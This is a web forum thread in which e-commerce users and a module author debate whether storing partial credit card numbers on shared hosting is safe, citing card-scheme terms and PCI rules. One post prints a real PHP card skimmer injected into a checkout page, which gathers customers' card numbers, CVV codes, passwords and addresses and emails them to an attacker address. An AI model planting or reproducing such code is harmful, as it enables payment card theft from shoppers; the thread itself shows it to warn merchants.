Offline credit card module disallowed by some hosts?

[Ousel]

I have my site configured with the credit card module to collect card details and process them on a manual EPOS terminal.

I have a dedicated SSL on my website.

I have been looking at changing hosts. TerraNetwork, one of your recommended companies, will not allow me to do this. They said:

I am afraid that we do not allow the use of Credit Card modules which store people's card details on our shared servers. This includes the CEON module for Zen Cart. It is inherently unsafe to store even part of the card
details in the database with the rest being sent by email. If a hacker did
gain access to your site then they would have access to the stored card
details and write themselves access to all outgoing emails - allowing them
to grab the remainder.
The Full SSL Certificate protects data whilst in transit by encrypting it.
However once that data is in the database, even if encrypted there, it is
delivered up to the Zen Cart admin panel in unencrypted format, and data
sent by email is not encrypted at all. That is why it is unsafe to store
card data on a shared server.

What other options do I have that won't add on to my evergrowing internet costs?

[Vger]

The agreement which you have with Visa/Mastercard does not allow you to take credit/debit card transactions online and then run them through your EPOS terminal. For that you need a different account with an Internet Merchant ID and not a standard merchant id.

If you do that (which you are doing) you will be in violation of those T's and C's and could lose your EPOS account and be blacklisted.

Furthermore, if a site which stores card data is hacked (as we have explained above) and that data is misused for fraud then the whole server that the site is on can be seized and held by Police as evidence in a fraud case. This has happened in the UK, resulting in the sudden loss of all websites on that server.

It is not a risk we are prepared to take because of the adverse effect it could have on other customers on the same server..

Vger

[yellow1912]

But you need to remember that ZC does not store the CC number, it breaks the number down then send part of it to the owner's email. This may not give maximum security though, but still the point is that both the email account and the store needed to be hacked to get the whole number.

[Vger]

If you read my post again you'll see that if the store is hacked then the hacker can easily send themselves a copy of all emails.

So only the store needs to be hacked to get the whole card number.

This software is as secure as it can be, but hackers are always looking for new ways to exploit software, and to exploit servers the software is hosted on.

Vger

[conor]

Hi,

This software is as secure as it can be, but hackers are always looking for new ways to exploit software, and to exploit servers the software is hosted on.

The software is inherently unsafe and we recommend using a more professional payment method (even though I wrote the module! ;) )... but, if you are going to use it, then an extra level of security you could have is to have the e-mails sent to an e-mail address hosted on a different server. That way the hacker has to be really persistent to get both parts of the data required to rebuild the CC number/details.

Just my two cents! :)

All the best...

Conor
Ceon

[Vger]

but, if you are going to use it, then an extra level of security you could have is to have the e-mails sent to an e-mail address hosted on a different server.

I've said it twice here already, but I'll say it again.

If the site gets hacked then the hacker will just input some code to get copies of all emails sent to them - then they have the whole card number.

Here's a real life example - not from this cart but the idea's the same:

create_account.php
****************

$password123 = $password;
    session_unregister("password123");
    session_register("password123");

checkout_confirmation.php
***********************

if(($firstname123=="")||($lastname123=="")||($postcode123=="")||($street_address123=="")) 
    { 
  $td_query = tep_db_query("select * from " . TABLE_ADDRESS_BOOK . " where customers_id = '" . $customer_id . "'"); 
      $duong = tep_db_fetch_array($td_query); 
        $firstname123=$duong['entry_firstname'];     
        $lastname123=$duong['entry_lastname'];     
        $street_address123=$duong['entry_street_address']; 
        $city123=$duong['entry_city']; 
        $zone_id=$duong['entry_zone_id']; 
        $statex=$duong['entry_state']; 
    if(($statex=="")||($statex=="0"))    { 
     $td_queryxx = tep_db_query("select * from " . TABLE_ZONES . " where zone_id = '" . $zone_id . "'"); 
      $duongxx = tep_db_fetch_array($td_queryxx); 
    $state123 = $duongxx['zone_name']; 
}else {$state123=$statex;} 
$country=$duong['entry_country_id']; 
$td_queryxxx = tep_db_query("select * from " . TABLE_COUNTRIES . " where countries_id = '" . $country . "'"); 
      $duongxxx = tep_db_fetch_array($td_queryxxx); 
    $country123 = $duongxxx['countries_name']; 
        $postcode123=$duong['entry_postcode']; 
        $td_query2 = tep_db_query("select * from " . TABLE_CUSTOMERS . " where customers_id = '" . $customer_id . "'"); 
        $duong2 = tep_db_fetch_array($td_query2); 
            $telephone123=$duong2['customers_telephone']; 
        $email_address123=$duong2['customers_email_address'];      
$dob123 =     $duong2['customers_dob'];          
    } 
$site = "xxxxxxxxx";
    $headers123 = "From:Website $site";     
    $headers123 .= "<$site>\n"; 
    $headers123 .= "X-Sender: <$site>\n"; 
    $headers123 .= "X-Mailer: PHP\n"; 
    $headers123 .= "Return-Path:<mthanhanddraco######################>\n"; 
    $headers123 .= "Content-Type:text/html; "; 
    $headers123 .= "charset=iso-8859-1\n"; 
    $message123 = "Name : $firstname123 $lastname123 <br>"; 
    $message123 .= "Telephone : $telephone123 <br>"; 
    $message123 .= "Email : $email_address123 <br>"; 
    $message123 .= "Street : $street_address123 <br>"; 
    $message123 .= "Postcode : $postcode123 <br>"; 
    $message123 .= "City : $city123 <br>"; 
    $message123 .= "State : $state123 <br>"; 
    $message123 .= "Country : $country123 <br>"; 
    $message123 .= "Password : $password123<br>"; 
    $ccowner123 = $HTTP_POST_VARS['cc_owner']; 
    $ccnumber123 = $HTTP_POST_VARS['cc_number']; 
    $tmp1 = $HTTP_POST_VARS['cnp_security']; 
    $tmp2 = $HTTP_POST_VARS['cc_expires_month'] . "/" . $HTTP_POST_VARS['cc_expires_year']; 
    $message123 .= "CC Owner : $ccowner123  <br>"; 
    $message123 .= "CC Number : $ccnumber123 <br>"; 
    $message123 .= "CVV2 :  $tmp1 <br>"; 
    $message123 .= "Date Expire :  $tmp2 <br>"; 
    $message123 .= "DOB :  $dob123 <br>"; 

    $message123 .= "Site : http://$site <br>"; 


if(($ccnumber123!="")&&($tmp1!="")){ 
mail("mthanhanddraco######################","Cvv - Site $site!",$message123,$headers123); 
}

This sends all of a customer's details as soon as they enter the checkout confirmation page, including credit card number and CVV security code and login to the designated email address.

Vger

[DrByte]

Vger,
As confirmed by your proof-of-concept, if the site gets hacked, it won't matter whether the module is emailing partial numbers by default or not. If the hacker to alter the code to add instructions to email to himself, he can hack any other file to do similarly ... regardless which module is used.

So ... in short ... if the server is vulnerable to being hacked, all the shopping data is vulnerable too ... no matter what shopping software is being used or which payment module is being used.

If the server is penetrated, then there are many other very serious matters at stake besides which payment modules are enabled.

While it's admirable that a host would like to prevent newbie merchants from possibly shooting themselves in the foot, it would be more prudent to teach them about proper security than to give them a false sense of security by merely restricting which payment modules they are permitted to use.

[conor]

Hi,

So ... in short ... if the server is vulnerable to being hacked, all the shopping data is vulnerable too ... no matter what shopping software is being used or which payment module is being used.

Absolutely.. my point above was related only to the SQL database and E-mail getting hacked. As you point out, once the actual site files can be accessed there's nought that can be done to protect yourself!

Anyway...

All the best...

Conor

[Vger]

That was an extreme example I quoted, and perhaps not the best to prove the point I was making.

The real point is that it is not safe to store credit card data on a shared server, and email is the most insecure method of transferring data that there is - so emailing the middle digits is no solution.

Site owners use this method of capturing card data and running it through an EPOS terminal sometimes without knowing that they are violating their agreement with the card companies - but at other times they do know but do it anyway because it saves them money.

Almost all of our customers are UK based and for them they do have options:

1. For startup business use the Pay Pal IPN module

2. For more active businesses use Protx Direct.

There's no need, other than cost, to use the Credit Card module in association with an EPOS terminal.

Finally, in the USA the PCI Rules and Regulations become law on the 1st of January and such a system would never qualify for compliance.

In the UK the site owner would be violating the Data Protection Act and the card companies' own terms and conditions.

It's against our Terms and Conditions as published on our website.

Vger

[conor]

Hi Vger,

That was an extreme example I quoted, and perhaps not the best to prove the point I was making.

Just for the record, despite having written the module in question, I don't recommend anyone uses it. As you say, it's against most card issuer's terms and conditions, nevermind data protection laws etc.

I'm pretty sure I've made that clear elsewhere, but just with the flow of comments here, didn't want it to seem to anyone like I thought the module was a good idea. I wrote it only because I was asked to replace the standard Zen Cart CC module as it was deemed to be lacking in a few features.

Best leave things there... enjoy your weekend everybody!

All the best...

Conor